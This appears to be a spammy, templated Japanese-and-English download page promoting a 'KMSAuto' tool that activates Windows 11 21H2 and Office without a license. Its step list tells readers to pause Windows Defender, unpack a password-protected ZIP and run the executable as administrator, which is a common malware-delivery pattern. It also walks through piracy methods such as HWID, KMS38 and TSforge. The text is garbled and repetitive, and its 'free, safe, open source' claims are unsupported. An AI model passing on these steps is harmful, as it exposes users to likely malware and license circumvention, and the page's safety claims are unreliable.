Windows 11 21H2 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Windows 11 21H2 の日本語完全ガイドです。Activate the original Windows 11 21H2 release with KMSAuto — HWID, KMS and TSforge all supported.
WYqejXiqBi97本記事は 2026 年版 Windows 11 21H2 の日本語完全ガイドです。21H2 was the launch build. KMSAuto Net 2026 handles it the same as newer builds — pick HWID for a permanent license.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Frequently asked questions
▸Is this method free?
Yes — every activation method covered here is 100% free with OfficialKMSAuto.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.
▸Is an internet connection required?
Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
Read this article in another language
Related articles
KMSAuto Hrvatski 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール
本記事は 2026 年版 KMSAuto Hrvatski の日本語完全ガイドです。Preuzmite KMSAuto Net 2026 na hrvatskom — besplatni aktivator za Windows i Office.
Read article →
KMS38 Method 認証方法 2026 — 完全ガイド
本記事は 2026 年版 KMS38 Method の日本語完全ガイドです。KMS38 sets the GVLK expiration to January 2038 — effectively permanent for most users.
Read article →
KMS Word Activator 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 KMS Word Activator の日本語完全ガイドです。Activate Microsoft Word (Office 2016, 2019, 2021, 2024, 365) free with KMS. Ohook = permanent, KMS = 180-day renewable.
Read article →
Microsoft Teams 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Microsoft Teams の日本語完全ガイドです。Microsoft Teams is free to use without activation. KMSAuto doesn't apply — Teams works with any Microsoft account.
Read article →
KMSAuto français 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール
本記事は 2026 年版 KMSAuto français の日本語完全ガイドです。Télécharger KMSAuto Net 2026 en français — activateur Windows et Office gratuit.
Read article →
Error 0xC004F074 — トラブルシューティング 2026
本記事は 2026 年版 Error 0xC004F074 の日本語完全ガイドです。Fix 0xC004F074 in KMSAuto — switch from KMS to HWID/TSforge to bypass the unreachable KMS server.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97